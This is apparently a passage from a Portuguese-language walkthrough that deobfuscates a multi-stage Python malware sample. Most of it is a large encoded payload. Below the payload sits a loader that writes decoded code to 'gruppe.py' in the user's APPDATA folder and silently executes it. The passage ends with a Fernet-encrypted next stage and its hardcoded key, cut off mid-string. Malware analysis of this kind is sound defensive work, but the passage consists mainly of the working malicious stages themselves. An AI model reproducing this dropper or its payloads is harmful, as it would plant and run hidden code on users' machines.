XDWbBhbHvgvxk2VF0PA5YLfofi6lcFd2wGveCjAiIunazY4Gi1Pl30RjnjE3Rud8Tif8h7KWbBpuPjCD_VCPhALNP4SI8zQ5LUbkOOwLw41hhKiXO9Tg7Y7h4-SnDl0jtWyWaCvo85MD1REyYaUw-9Ln6czJj9Pt4sCl2NQemJ71QtbHvv9OcM6B7ptv4sYg3-CSvObhy2oR0_46Esg9g4VybS9orWDrKRDF-iHe5LgSpvzCZV1WiamO0PedS_-R41GXlMAIPwxOVXtckhzdrhZjsdAyvYC-D29kWuG79z0QHaZTQ1VPhSM2xLUn9bhTsPlFPq_QaCKZvX3EL60EPqGFh3NVDanglTCtYbSffGGcep0UXj99_g-V3LEOke6hhWBbcFlDZ-tOqmtDTZwDE3GUrKyXwiVSERKn0_Nds_lHe4_NP2Mox2UkyaWUEVuH_fW1cX1lV8da1ZtKVu5hKGre93H0p2USpYsyMAW7xXFqkBw2Puotbl10G9LOjE16pUukxwSzVk_wyJIyubMTAhIXICskDuRq8y82ch2kCXJr41YmF32bVN7S6lxpFPLOr4giqdsSnzJdHWOEFoOMpw1yxb4e00dUyZzZ6D-X_dmfmLBThNuiRyq3mU3rTUepT_psBj_f0eFRbUVT3wFoUUZRSp3kQAXgdkPiFoh6bWapiT_TEAxBhkiGvVy5B4M6VFGec9U4dkTU106PnAHRz9yuWpP5d1jdgmoCbdbS6oy0oMrssLtbHvMnY0HFXCjvOzo5bIxwtIbtrvF26iZMTD6Tmjd3piJtJWYRbSNkHPp-Cl8h3-ni58yRczu97FibhMPG9TZ3by7IUEIoAO_S0pPW3_vhSvrHUMovXfT21HAzku2YN3zkWGCQtM-WJWOQj0PQqCi427THpLVVdDXElkJHCYOHrRUIOaY1p2YPogJmt8kyjJTnc0VeIbplaRGL48Kw6BktZFGPUwIEXLrTff_j1BFlwL33PijbvgxSEUQdRJPyz8c5wkdPUaDWp4R2K4a8CVPR1SSkN2DUQNneVEJLUdcrLHKr2MCTt5Fkw0El_igVOd4w2ZK_iPd8VhiIZ7qbRDwBDeIT7lDJbvf0BOvaLxBm6OYodtICeZMzzchNeGiMjdbxns93UWacjWBnfuvpVZofhI0GZMXMHWbvHgbDHwBwII8-RbCdRTKJv8IBsJ5gfEQtvKQSVd8hoziUMeNx8KBneQmYHrGzgICyhJEV58GDVxD7ZOHdK96B5-tAi4S2tZ5L2t9N6Sm2d3mQ7immDsfFqTVPPbR9p8LSFftBQnK1epK7AlBrn_mqH4ATXvD5R6wGYGqqNCjBoHWKXPSBntqusyuOrE8Vlpl1LtWcaDkhT-bg0Xg-z-FCFC-5uGdyMeo-vW5UHkI5MdE_79QgnpE8IFnpqL8O2HHc6elax_KzpIQs2nEo8LN8LiEerZeRnFwj2MQA6UhWMrIzGF3Q3lhAkaRVuUqAB0T6Jxc82Ap5QBdHpMZWdfXK1-E16r0l5WGnOLDHl4tW-eS1LrqKN-NnidX1U74y2WOAxECXqCD2F_sjL0xigoW6L9oCYltT2tob4qeCgJBhl-MvNSsYTku8h93klfjBMGTQo7W_WFfZzqJh-AbJU2tgw1st4AyhRHGnoQG2Pk_Gxt8Hs-e-Cko4CVr-kVn1buFUOO88LkEfXgc-qI4pbEGeuwSg6IrrkR6s6CXblW6MYb2LZD072dNDvVN5mqJnWLTE7yP7SRkNTD-nFwTw0rjLrvXNiB4PCYMuC6Xqry446f7qPSPgqsqz5VRUcjtQvEeeI4l3C5L7HL0gErPBYyCEKO5_Qz3V6y6R8TH1cxelMd6_lGpQV3X91cMgFPXePC4Fd_BmsIK5xqsgzlKwIl5i9FD7gmSeUAcS7kgCfYGhte6QMYeaPSwUg8bRTZpfctFmSeP2mGiHs8M2_up23aWpi401heFDmxiVHJQh6RuXGcEoJL0PdEHkS1rjfAgrNg1Rlm_C-iLxl-zDoeF7M2mjxBYfOaDEWAutXcSouu8LqBP4GExIjLxch5igCVv6R9C_mIP7jdYAwimjoKEes6VHjhfkFlgABi2aSF47A78LmHRefqYJcvJ2Bb2oH-b7GUPRl52xamQ1-9K0bnIz34mI0oltFS-AhtZEyeC1sqz0mLYFJhLT77AvTJ6bAR_pK1q_cb2qRmZekWH-uibfptV0X8xe7e0Rn1QScI_mPXfXRlmW39HwIXjFX28BYPA82SHXulF0SkPrhvQuimjbMJ4L34dbVd6HHBaU9CUJjbfJFoK-zOkpPx-1nPGgyMW_pV_tg902t4roabO0jygNmUoBCr2PjEocoRoI3qeLH8Ikzaf4osOfU2RsSN9bJIV78gRGHXUHTxc5YGlJ6mNHr3CiJKWP2UNCRD9e5FAuwGuwU7wQQ2UCJUlI77y7PUbVflRe2_L7HnJkU97v3Qyqx4AhuAWBNorx6R_plOUsjdk9-ZNriydBXnQaKWH50doAT-fOBpsT-mjYNWM7ffEOOe7gxYF1pnkY9fNoAT4B2BIjehLCYFbo9291k6QK_QYrjstTE_daWJSdoVLZZtVZTggElCNEoruNGj_ypdDo1dpAtZ6k-9GggXIM2xD5TxnxfUW_nN6KFt5TGC2bJi8hvbOuPuNqSgV9xBHxXUopyJlcbdN7Hz11CQiMVpbMpJQXl3XWfeLN10JMMF04Ji6LbaCIkXDjyhKmb7XzWdqVMJK7bisvnbuPdZXDUNqq2Qbe_akKCDi2h4ZLhwFTSKeN2wwnEGINEwYs-_RDdPgrIbqS5quOWYxPHVXUlyAc_yyjIBld1qTBADtV3oM322wUzz05r8kILL_iIVXjVE3mHlsoRweGKjz7keSTSy9lTHiJniHxAfgg4FUvM1oV3XZSVCaXdA9zgmBYN07MBpNUC6phKrpR_gPI9uu6UTSOAxtMY5AsJH_uxT_bKEaOmwn4GIq0E1bMwsKzf0B7BmbmwlQxxvrII5ZuXtLBRmNYjrWAX-mAmp7gw4cOYsow-eXR2vWtnkuCOcX0tSKMovLegzAcJemUFE3W3sElytJ-7MsO6oAMnpHidJS6GXSLIAoGSJeUQXcKUrALXbJ7Zrywtgql58wf9t3WJ48tx8Dq59ptVNulP5YfBuS9B2G-25yEobQmkmhhWEhgliaysjhfPpkOlTPHXLYJ_NDPGRuyWk4IT7cTqyLRDPWsLCiNcAO5OqYs-qBVqbLvACpYw_fgKlRwCCKDF7KwMDSm73s7Nfv-MGKfXDMDDrKBW5KAk4tWlem2fR6GYuizgMgwrmVkdgqimdKEOOGfgeni6pXSwDKZEX76NMqQvb8OfQGdtJlvhlQD6gWHFSi7CngfEWUfyEfGfmlq1s0IkIfRBP9wH9qrWWcnOuK68RvRPng2BPqs-l6AHZyErdImbQOQQ5siF4yko01P1WCCyA3wY1nQfLnRwOj5AB35U9NxBCK2yxajogypJPLzEwEtfMQg9b7vwv2Fq7HyHnfDBBOVe6hH7PrKIN_xgjN-yc14CsOip1_hwtcf8UG8VVArajpeM_beFfuwByRJ3MyP603DEKvCnLTAOxTQ9Nk69M0lfiwyUl1TkrCuWBSWxxonrsX3BDde4gGPWEUjuSJQ1i-GDcEmVJlSpNYVVgsP7x7K64E96Jl1utH5t0TAIz8UjXausUhrVAHKtsaEvxj64z9DZqeP88oFUdpf5lXcm0M9Q26AODfdhqtsCK2g6u3CAx_wrYf_ylJ6w_xvbxNXzXVpiYVWlMNUoiyyG9F4bhIPUhLA0kEW8VdrOQsV4mTMju_PCWzX6-buFs5M0LuetRU7XsXLCkju-Y50cviVY4hwv1-Dy4RTbHWefKQ3ez2LrCyHFScs7YFi1fF7maW3R-OmQysZ9iYOWNP_pLrbSqQom9Zp169mnklN8VB2e7tLwSQEUH3AKooOp-TNY5Zv_i-0b92rDmceGNUIrIutBsCahRtUK9bQtnGpMT3CjtgTkbkxbrYQiusxira0QJIMt68t0jVuHmgcVJ1iEnUsSdttXWzyqOQNRBBwi_epE9pC2nvlA9Zth-JEKlcGkfokJfaXWe8YtPY1YJzzKY9jkMYgKpbG2d-qcZazRoQzay3CjyNmD0IBk-v1nCBgiAtiiD-wp64A4Ovy7hli8R4yq_J3euUiq3a1N0WqLr9t3zDVFWS8Iu_Suop8drZz8ehE2bflQ1cK2-8wU3EElOf8KedFH7E4ow3wxmDdI6zdgTL4Iz7q4_UWRIdprTax-UX9eQJdTVYT8f0wXQXoallpZJENRTVPDMKpGgGNPjgzjnGJtZu3ehygmZ7A50a-l8L7TKbsPXa1AC1BQr22DndzrkryYkS8_n--nnHf3047r6jBjecizcp5IS2fDueDe1_J_35aB1vmAVTD1lFns8TqNtohY2qLB-2kw_qv_d7mTMHfCTOXWBYoLvqPh-__dPNCIjHpk0Gh42PB9el9-2dYgOjCXjov9X-0UDesvXWHd-9RgLh4AU4lD1NGkHYNoI3symcXeTtAMO5fG_llXJlUB6lfUKaoNTXeIZVzA1tG_3eP8_rUAO02venRznYHRakvixNK0RzEWH-thUlOImZPOWgbAmaB2WoK07OKEgeuujYiE6kXLvXJZ0cgmUKYC7ydBRZHeUNP1EfjeucO4Y-ZPUtpLnLzqr6LGttWmiuD9YztMAa-kiG4DydOg8bHBo591Lgo_OhLNzmMeJLnei8O5eS7Tpnycc20ehjqQ6FJH4OYsH5FIEoN8m6P8xpsFFBi0TpQDTeKXFH8dqMXg-nBO7AU4xZhS0qImdfvQreAwB7Eb1b1LhSBSzs4FG801BoN_ownm9Rbm7MtZEg1TvfnXehk_jZod2AP1zXrkjEPjLUMAbN1xn_dJOUQ1YTc6z_Bntgv0gU3u-9qEs17IEjT6G98wJzHv2xRKx7t5RrYT2zldTEH0hHV42xpS_Em5YPmPceX4V1wij5F9ubwLf_dCYbDqJkDMax4iaRQVUTjr-f1VwkvCKowA1-jmQ5rWjCbGL66Wclj1xc5kBhtNxtw8kXAP6ik8wZaVaRCF8aa_cz4_1gcLulZUYDp9dd41RoLT0tzLklFlQAKcL0deDw6fH4BbLbUo_71V1xFemPNRQa0duZ0eCMHe8AY5V6OieXIkZBqtSKadlwL3Pa09v8OCRTqTfIdOMRY5i7qB7eR-RTvtKwmFWlU09lxsJf0SIjTTUAsmNd2pkgC7FpTNg3iBLuRmE-vj4pvRckVzQ62Lq2jT-RIPmBthUdMD27pVhRzwjXRT_tb0krBrpbicaaAKSob9F0Vfup045JZA4A8xAxDN4hCNQSOUKxRmdYyc0G3TXVN9gRFJtnMJWwzD_KwbEFSwnMXHfvSVVtiS1TPOlyjKhLH1iSpESCONlEba-bgsYqld9kpZGCZzoMh8HC4brHitByUqt2Sr6-FGQAVOpYopUyCl8cmhdaSvqYoxL9GnIhDx-_Q549mhWu_OMc1h96ugMpo3OXtfMVE4OViM8xNAP1S_FzeSNxYr8N8qc3snQf6WNAVAO0mmf0NpJgrOrc0FWsP2Dqg8vTmOk8lX8kgA6sj8os-0fpC_PcGU34yf45qCYKRUgues6GRVhhgktcpAYzLbS9M7wO3lKWyahuXGiuCtaDBR5lSjx5cqQtOoeGAgDDxRhv8oEy_0Vo_k5rsbExEuvYw0dZAQ6FSIcqib8Ut4wlDuxsg7RvCElm9jw__bdrwAFfUg83r0AGnE_04B8UhbcDh3UfFQi3qPVZ7HUxi5-ZLjaILd_fJ8rvKkdryHNxvz3AC9xGLJmVohn93JLvm0yZxtakCFg9ztkaWCnYWSv6aZ4x8UExTtuXwdOHDjryD9CKn9dP5u1y3v5KkMe_2gQP3Zls6j0UC4vJl5BUnwRU7xE-avzhxOK-5rAWrWKng_MKuMRr6MJRao7hjpy3VdVwf-pwpZm8eAQz8kwXJ1vnMZYaLCiOw9MVm4GB1uhRSF3eecr_o1vnmR_IhZzxJm2SycJNxTJ8QZzm_lI5M-yRTSfNR5KsfRVgwODiGLz70x5Kl8J9rB0WQeqdmUYmgvYBwfzdiuVYIofaswLYhW8IUKKRn-7z7IQMP_c22usUl9U638QlzGgWNpCyx8INlDRKldl0uGmkLiFF_XEq1fbVm6jDkOoSmZa5n0J62roYqvFGDCZlE5ebsctr_PgHAi7RNBM--ZwIthcuS4Td3RxKTGCxX2mnQDd490DwEfrYpy_gUW2Qzo_8J7VpzZxsvuLPxaHqy5YzRJY4pIp0eVuzxGfHi17-z9dw99MJdq4vbvqcC0oSmVeTeLotaymhy3B-xprS8nlViSAhjc8TTRRiSyxUBnfWBhmQWAWLF2jDIMFSnrDRwI6edcc8Nt-0jNN0zhxXgQvyxvH_D4R58RsHA2U9OYqTecrVjCPPw5NVb9qBL7zXpHY24kCEvS6Z72UxB4ZRAuECYaPYo9aqSa3Qit9Gl0YC2XHWzGGacnxCHghpPhs7qj1o_0mkGkM-G1TrVEiB63svFm7WO2eGFeGaXGs4lNKLxEo2y908lXEHJILp4AqP0o0sfG36enT7COOeJMraaVu85QP1CI4_Si2EOaX8mmTM4dkhlqG3bgx4akvvRVAaac5BbI81_EQVmHq3Omdn4V4tm0xBgakiusRzZwJxAYX5cx1k0LjXMC7QlVeJJH4VP1ZLhYZX9_V5S8-j8PrW3Pm10lpibaeIgo7XFu2U5jDU3yfyOyxA7lxuHyrbALRke2dpzcceWvZoQqKZY89Qg0myS855nCgpGO5G5Zye_UYsbEe0e5eqpWZVOIog2Q7ANj2ljRA3eoqcReZwbJOeMjgjSeVdHG9pS5iOAgVA031ve0Vp1k32HC_bIgpX87NZuVL66T_zfrrSr_CXYNKSj6QpJtjEchr158WPU6bdZn4jX1euayYhaOsHCHANSkmjqhngfAMUWu6GYv_Gpftl6cctvxtf6aTumFgAdO6WfQyxdXTMU2k4rjpwcU9vHq0tLWjWgmPfJk7L1M1hI-fIFyoXh85SVV4Y_M-Bf6NaxsmnssmC4d32Ppn4aFPS52le0z6mZP1o_8COkPDslVCbhty7PLCFsRt5QlRupjt1sG04kT0Vml_EqE9Eykp_Hjtf1jBBhSdHCy_zdurv0tz5BEc6Z_HZRl1MN1Do3_R1n1I_E0tqys44N2K5fjRnfgDftdoImXhVy4ydh_O6yZ9Ni8Q-8J7UUNAngw-AaYw5jAX5l6FO8VYF2Eh1bC_6pBu9iDWUf9gkFCxrS-P9uNouTlb9UrbC-QgXzXbQl4UeHMi8F4qxlYGW95pEzwJzdLMyZdx5DYsqSEi3HeAbVEXH-Plvi-X6wa0qe2uhwlNFKB20vc8xa_x3g8mCZFrVSOb-gck47i2FgQbqYJUnK3EuN0kaiw6lr1-5NRJVJh8Oa1Lp_iw7W_zM8c-ZuDlj3IjVS1faeYtJ7dPHTsL91z2n1dgOhlV0svZeOi0pEXWE5EKT1s2VeoQqPbhfJD7Fc7Xwl-DUVIcTyjagTbfOIUcwDivEPlM5pHSXm6QlQmhViUrs_bcPfkffpd8LIFgovXsce-mExoAXx1WTaC_a_5B9nZWOhTeqDbXkrNOkzBKa4Hycu553vkzlKteYusudqKjFbP8Kcs4LEJahxg8ENi216bxrlJV9A4y_6q2RmF2iP6rObLXt3EqjqD0PDJ3Ea08FZtzSrkkRrnaoQsVtkXgJ_CRkOhgy2oaffd9zTsT7AI5218m_xgjIvvG1RaImmxEKwSgscmotXQbDZh7xbnBfYlizvf0OR5lt99l1iT395ntKZq8A31SgiTjkGinI38vSHiVYWmUAcH6q3ycf6a_fK3UVhOMk0td8Q8kdSZlcopX4O4J4BsFbP9iSBo_3eQMVT26OIfEorgzhkJVueVZtlq-Mfcg6KbSftcv9eMZxtIwdr3f4U-qmE1WfD3mEtSyWYRPTscHO2NELQ2_q9zcF5MM5N7nM9Bs6-Gits4f8225zFQkkI2Gn7MqQqYIX2D2QcxSRBL7nWpcfp8qmL42we6wz0xCQhdt5OldCUBYXzanaTZrR7DCfHQLrPO7njGgHJ6a04b7zkYRTP4UefcCGnZcv59fuf-qA2pKFtlaK5T6AF7hjljxSOlcEEH3PUgBcDLN_pfkduGlBgrOAJJho31jtN1Jk_BlfymT5gZw671TFr4BavD72BI51f1X28DlPNcbivnw-JkTvHKA8GbB-oITVQZDKQsKLWydh2IAqDEXro02vsx8I3BEaCx6F_b6ZZyurmf_97yp_hMpjRQ7ds1WYiplsd8wYOjOZD1Nx_qhi4P45jLdYtcQ9BbwtJF4-5zE0jysMiRzv8wDOR-8Iee-UwHHJxsTlSVMYMUwy4gW6hxBj8umCievDOQafYkyqCb8X-OTg46YamzzbsaClH7SRx5mU7yMf4_WWlRS1fp_Kh62BZ8HJdMarPLQ8G5NQIBmb6P_0a_gO7qtJYzBlnkrYJ3Tb_4ypGJ3KzsMTLXhEZhEEA2MsmgwemCVjyJKu2mF02euy2PIdOlVgnYQfrVv5joyTgAPzFqnIpG1vRKd6aNUkQtx94hC4mxGt-VPsGQXr0KVGiWuhBDqY1Us_l05-ux65sqCdFasTYv2Rql_vLLibNOyjGw8U8b6CwAbWgDwKzypSeYR8b34EmkRnaqQudeDqxTiQDSo41hCdb_0GZds321HoK7xK9gxTHk7h7vx0AaZRoLbXR1LvNVf_TixfRM3-OBbOSWgTSCNEd9wYlUdN-XOfx9l4UwcEQ3JQVipq56wuKwuYMehYYLpDPGL4WdkGnjkDQk2YzPFCmQKQrsua0seynQUYZxQMCtXzaECgoThbskzpksJwwz23d84r1rr8QzSVSJGCsJ0ybcLrXBcmhHEEvWzRe-Cs6oVWsRkP_7NwXPpcmeqmP7iclAH1NHcFc3dSiiJmkmaFo4r_HeMjhwD_XnzHauIYGYc49ZFzu3oM_KjdpK0_Ls7C1eSb2KcPCnkS0k90kpYjjfyxzkL_ULp9B9fO_G3ct4zp5dEdEbTtkTznJANujXoqhIsecIlYIdX4K-gP5mXPyiDJ9G7aaRBcAVKCgCLG-rxWtax1QoyJ6_FVm4dON-UI0QP-SXWSDFzuL6hk7wvpmwiBX5bS9fYpoHTo55Iw1pvDAEuMOhia5LGECbN-7V5iTZRC6Xahs10o7hzh8ForYWSNVlddnXpdCkPBjtLreEwbyLYxOQRZ20Oo2lguzKSASyVtLoV2oa2dcLujAyN1DlIhjy4YAK-eAcBv980fA_MYU59BDSbDgJMJuznIuEHRS73D9IAKVrEHPHfd3wU27aQtjuqGcGgVIjKEwXrlNR4YfrnsoK_jJOEi00QLDuUlfvjsrnFLXA7_U-eOgEgujA63geTfaEHeJAFBNXNeJX7YHhuS2i8wZY85fzd-3WyB1oJZms_kPpU6fmBilA68AwBASZU-aZuzvmH7Bc12BEQeq48lsdX5YhD-krbwFHeXUmSeqEv8HeYE2Sij5d6cfHpGaXhZQNLXJ3FgpWLUTpLkpecyr-BIywL3XKjX1mtCI846OBeghOr1P68u_1yXuQ8MEQBgiV_N_FlUG2TYS0VkdT51cZhSjdbap40uXPH-ZBXHyVO0p2sGqC-umHqTSf367JsRF0OUEsMwkH02cmUrAOBj4px6g_p99-e93GqlWnQE7kbHEhivoy9wDtr2De7Fb8HSAJ-FIjGz3UquGby3NJvx0DyWTyMutEXWSFDxE5LxOi-6h46sg8Tz_S53ruABGUM2OZA30Yt5CjRrkbjqFbHkq0OFtXK6bi5m8A3gq68YswGShutGtBuK7fIYzy1zWlx9sHgwWkoioIAnFVXqkbXVjnnKQq_-Xu3Uc1NXeQ1wjbo79ADIpfEsKgE-afiRwX1C0moOyzi9FtOTfwv_U2dMYdbeRpKOdCpSN900mC03dx9bLfvDkz6NJ2dqsDl81dhsGa9lSgSkRNHSobxUcRX-_hF8i3_jYapkDExW8avAKt8ddTYfREepWvA2rgpiB1UYr_yQ-i9me9qIFspDjLVUoqn2GyYrCgZeI-Osw80XSvIMV06pjvQSMMuKwL4RGmso6aEZzfQ4EJOFDkgAKmbHLfpcya3biiSwbEvj4h5fjgX3zzgeSyBFblxuptL_gPhl4Ft92ZcIxRY-nxPeDNDVCyUw1KheCoRalZfVAXGcYRklRBm5gHVIG5ELIWlzdy3_bhjp_r0y7y-n-gSKdCn78KaOwPgzYyyvonyErFiYIy3q8OHxq9m1lUnLN-xhzJOU8dO4rCpEg-yJ7A0fqYPaUSP5JzQGEFu2Uzdwgp6xeSm2sdHUmG2XOc0NqfjhSMY4IF-mXjfbtkYdrTVpGAGLnUZyxwRrRmilKB_ETxlZYI6hrFN-xo6Rh9I9vDTXNhUTwxR_os1obOuNhuZQYoqaRVdgdQJecwFsjw6z-_NGQh6WZdZ0ZUtUEvy3x0P8EggIdxdh6vNhLIupWVLtx07AH46AWn64u_2Xwmo0zsNH57whtWgc_J03Y-1Yq8YBW-iLjCX1mt728fxIPC9te49_H0xrstGdXKfTt0B8nK-su-jLSOEubGnTWlSlWkWeUfKCeVIjmriIIlJy0LRIagf-_ANCNXFjTfzCxtSphbyw0Q0Ld72AtFhmLOHUnNvuHcCZS_jIywDuo5OPNopZEGHIuCUc7WcRHxe-uMCxuT9zBuOkaQ84sudQUUk4KRf7EmEwnZrrl8VHLQF3wHjIncgAwx8tKQ7hrlfELUEySb9TMH-fIq4Skq5GJ5Y-Di5hHSpOW44rRn2BBiDyh90BcRPKBeYxwhTQsw7GuH_rksRG6j4mh9eWyWfzqbqYb7nsMxLuLO0nLGHJLKZAAJT13GWi_8SUa_rU-Dj0jX20M-i72L3Vu5aAsm6ct6JReRaGlIYMpi-5YJr0QFgoBeUdEJyOYPximQYtN-GAVmCGlZW1Jf7UDSwOyWDs8bMJUVEvveuBSLi3kYEB_tRY1aVE5gi_xvtXU5mSsqz3MRCxr8KcQuHEPugbxlVrbt5OqNkToc2JINqUCNzcqj-aYWcWgKx2ciTPE0FEKCkvCSjQrjG71T0xYLo9t5F4p_IR4TQHMbMXTjJjz-AQYuBgEOe7XzlX2W_GPordC9QCD8pOpLK47xQwQsZLxuJXKf5up_nQjWSUL3Xf4aZMI4fz0WzAmw0q_7GBZRnqoNlVORnP4ggZydDZKAg==').decode())
"""
gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')
with open(gruppe_path, 'w') as file:
file.write(content)
os.system(sys.executable + " " + gruppe_path)
Seguindo com a mesma logica para o codigo criptografado anterior, vamos descriptografar sem usar a funcao exec
:
from cryptography.fernet import Fernet
codigo = Fernet(b'2QhByK1S6OiSYyR0ieLjajwm2T1XwQDJFsQ94U7f5EY=').decrypt(b'gAAAAABmqFtEmwUvBRd1_LdcefS-hZSCVVRgnFntSYrlOtDj-_Y7Wvm23UPUlTPNdVW5TnJxTjRsaFMwL0P3UjbivSuBLRkwfbNu0-wNaawLSlRupTOv_9UNMM44FdcC2X6UhM6UJmr3iuNOlO7B2xdLYtYYpSpjEnIYTViEKfV5Q2WByVfvSwW5O6_ZSao2zxpehoLq80M7hvC4pEh_IJOC-cKsGrW2I37-oAsNgVseOfq6j0mV5l-2gloaJ15A60XGI3C05a5C__RTpAAz4WRbbUmNsxAHrx0J1h5rSSUIHc0mBkIWVPGXfRzHs8Lu2Z4HF_MCJo8df9QNGOWBH4CmMUglUhQwDAkEcz7RV1bCjQ_Hd-7wE9mCk0HN_LnNCy2RDVy7NNY9Wi4-oD0Q4CiH2cfpGhdpb5X1sDXlxqJzdR5ABqr3b6VrDBXK8xQ-4TYJjASOOXFrAIE_DpLc4rkOBGV5pmWxqNd78uManin0CwPi_VTa7GkKrwr1XUcRN9y2zUSsHyIClZYctbAyY5XfYBv5w1CSvyJ0Je7hfNa3lywPzE_csZ86oBAxlREz9z1M9dH50m_wMtdWydd1FcQrz7gx_0lgenIsJRNzSGp_6kddCUiKh6DHpEmkpoceaHVILy2Uqxb9rK3ZKU-3xKiRVeC_e3ehG-f-VkcaNezlJv-DsRpDm_-sO793pNJYYKgfslYLDttZJcVIlZtxSQy3eFQ-Gio6Gbd7NcVSS5Mmzx9lh1N3nmlAXWFXGekbfPM2iaGe_zmZQbuF4-sLWO3cxf1QeLYHxxSH6pO8NQL3QZceJ89GhlTNIyAW2YtLmjRUNS-ymp1fSRB1YiJWrylVJcO3PyvK_WfDCbmbU2z9qmV_F-vq2SsMBhOgtSVLeJBvy3x9zhsg4lbHIEVkmqf-UPxDvgnEvSOhvBwhabgNLZll1d_gGJgRL7H5O5wPItj4sh7hSHi-nrn9YdlVNgb2BEgtMsS6kBbWnQdUb75S8Lo0cqr4GuCzBno9yk8rAuSlX6WNLJ8fwatbYGJmnXkStM2uKWTxOhHRvJU7oMzpxlI_AfDr0sIbG1ejOGffCS-cxdkp16a0VVQDu1YFzpQ_ZBPIfvzIqbvJKUEztPpYGT6WqsRJUYrmIckHVfPWuTEyPjWkHo3QzujVPjE4zmwFB2VRLTf0eGAP2xXpWSj6DBJ4tYgzFdbp6Vj82P7DCU4zE9kv_tVmqD65WDvoednyp25nI3TyI5CAbBAJeOuH8gKv13rS3so9bC87lm88aHxRjK-erwKaQiivDhJMV-YlG3F0m2fDmEzvQdmZSQTxel0lqUw25hNemMRAiwr0zvLltWM4jDdks-WPNqH1eVCGYQiKbwuSoT-nY-50uthSAXlwDBKaUBaID9xKhQl3zOzi7CZinu84hQchCR2D-mQ8FO9xFOwhT16uPlFoB7Fe7k5xZQEvP-wnmvE1Z3IROZuh0tFdYzAVmRglVCuY_TLc_MZpIFKbC4QKEXsCOfsDP_G1FqapGKy0fOStTogUQAH2H2rrfLVI5IOQH-ofdGkwQ459HuY7PwzSVjD5E0VxpKGE61gEZJHij8W7fhupgyBnFYEc32Yxp5Vz2julDAaaA09ytsxLX4MUrlcQevTvRCHjH_rcfRTnK_z-FtbUPjesKvjC_tYqLGgJnx4q1Y1_2I1ja6uY5TAqUZryhMpcKgouyoRDgZFaZ0Lg7v0jfBNQQqIAa8vhNhXxAAOq0InD_TEwNrW0cvvHtd1eba2ZoNLw_B-JbaukAHT_3VC_W0dx3G9YSHwzuWbIqvrZRao9c_TRdrfewepuL-IwqW43jcpZBEZqwrF02y0GNpb2tcjHLwFLpqySkiB1RKKdbXkTWCQMs3wfvSB74ViJgx3-qDlMyyYGGU0d_80ncnloOvuQcOIblwDpp9U9zrQANUrUFxy7eJvUHi6UjrxH5c0Ye-Tq-MquNjGgad5cMw9oq0BP8g1eoxKzTMrKjPgRpNWAU80jJGPAG5YJXKvAZAx7voRaUjMsyqWTvj_bjxZFi-6dANAbT-OsSPOH861fhkD9haIlNBTwpsVVyfnjxON0zkiesklRHlEAKRFNR4pzEtcGGC991GQ_EtJ7uA467dhEciopcl7yWbYpJN_EUFENQw0Q-RkTjFGMx3ojpPRW5esl4mYhU72eEZ2uRm2avIXpDGMqJtbwwv_NIG4D6FA7ldNKQqLdAd3xucS66dZw7rsicX6BkvPpaN54JlCuxClonHccu7BDS07xleuR_gJWMUO8aZN33YaryiDSMS9NwImeIAqxVQi8-vX94D0VYRqpG24_HNBQKbhfg_KmGzs69w61zkDzULDpK_8REknl-Yqz6V8nm6NC-sDtnqBqacgV83SLsj4ySfy122zMxpmCdYSdwXU9oG56WfIkg1i4hbeEG9r72sTlkbYwHrHZ-1AkKMXM2G9xVIdvLQ_rWA4-w6IV8BDLQNZm4ZxWpQbdcQb2B0UJKb3FqGkE-WZB4oWJ5UfYx7q9FxCF2vTKN13gIjxUv_Ho9aV-fwLgo06zOTQQ_tVFGpFsvMExgS3bbNjKxaqtzpspKfhMiwOlgPvM3sQqi1pSgIo_9jMGi4bTGDPjBgzB5B-WLSYBHrPTaxcZRZGSbW48cxf5AmJQ9HgVzL3AJuiq_9fEWmmJCtHiif9ralg75znbjbwDzKvywWF8ySUcECNsLvaIRVhsxmgkzYN_DKcIogNIMLU9LJF_H_wpAYZ9Krwlm8JUoKfHyUKf_zRG-c1AVTqaQ2F38y3i0PqE3YSO_H3xvlEpgknp8mvrO72SlAqoPH6qwVHj99yhaEQ9y91bKUUcOCMQ-dW06CYToqkiM6hqmgI5eAQVHG7IDvWYORivGtHuctZDzsBQpxNAMyLTbq28-u01BXZsIOpqQJ_Ynz1lTiHvn8dOyHyZm0Ygy3cG5HJMkbxiL05RhWocA3Mm0dxCIW9ObFe2STlNHBDdJOUMB_3swFDQLC2sXNWWIKBO_Y5al2Z2RTCCBEQ7yOpPS2fa134uhVU1JoR0wVh24ArNt5G_Ft3xWgxNU3_jsuwYWUA3ykaxE2A7b-20g-AP-i9KuGUjknl8wt6JuF-6KKg21kZ9Lca-MhOOYVaM8bUxmNqBxA-Fb7g3yXMU_I0KYBZ8iz2pamsr2ViwhdKFEAsh-I1jxpH7NY9uuLAb4Vjbwne0Vmqqr8uLAfHNwVG5zOvg4Gh7lorz-jWHwYNwcttTEhCTTjAwWnatCctZ73PjSaL4iQHc6pP5mwApMGfzhR5z_FiXwRgg8SlSzj96yuknknq2tfjUhPPkxw-lmDsJhMDKfboJef4u1EmtA8ZT9pesgtBjj5WSakvtpBTJnWfUwYy5xnAMPBTtnnTLrwLsQyeFn3qNU2FV_B_cf9bPWoW_c34ThrDckms3xqhS5pYIcWKxqbkPpoym3JM7CCEC6mhjry9i1fMWlZtAJNB9kMh3aEDLKSf9bCHjKoX260R1XiSYAA5vDqye_16_dBvtDXydxNV-Dsm34IXM28aAK8Cf_mCgrHjObE5r7iuQXQxuwrXMFLv7SnZCy0kqoYNpNW7jaBj6UI5tBN0I55BuRkNyBi3eTVJ3jTUk1E6u3Qqw8uLSvEquWrIWdAFZY2szaoZUbzqp2U5_kTMVK34An9NyhdKYENDGaA9lqWJeJr4LEBDCR2rb4bZSKSToibgtxSZGKXGQLTmEHJKiskS8wz3HRIphdfyeiLY2M7A7Tfcl2xYQSqXcQbkJmvcnw3E6Zr_3rR9x3xGqT7Hzcwr0HagVlS01Qh0Kq3SqnAwzD4lIkayPlG64m7J2X463Y7J61XX-h-G1S9XUUIiGlLYsyVfhRjn-BEA2x2Mx5d0ihsoowhKivrLbbF1ICR_Llb0XVl9rSLlbuDE3WPpj35XzNPSHuUTm0tfXuIBGIYA5RwJWybQS4fTpNYErvgLGGxt9QFliiUrS3ps_Q4RdLThp3to9QZ03U6yJu2__URbkJkGypQBJOUlcrmradTefVNWpnp5acHdIuFaYYs-m3Y46eS-UPjZfaXqclHQqxrZKsXnQtHfU87M20UAVnIQAg1Sxu2TufI6n8Ut8kIhxOjx1i02h1bEcqlAXkpOlVJjvxzyEV-JiBQ2wSFZFPTOiJGkxMawneUpSkfsT9e3K0tqJ4adadJwWgHKATtiMnHdDUzYh9hmIH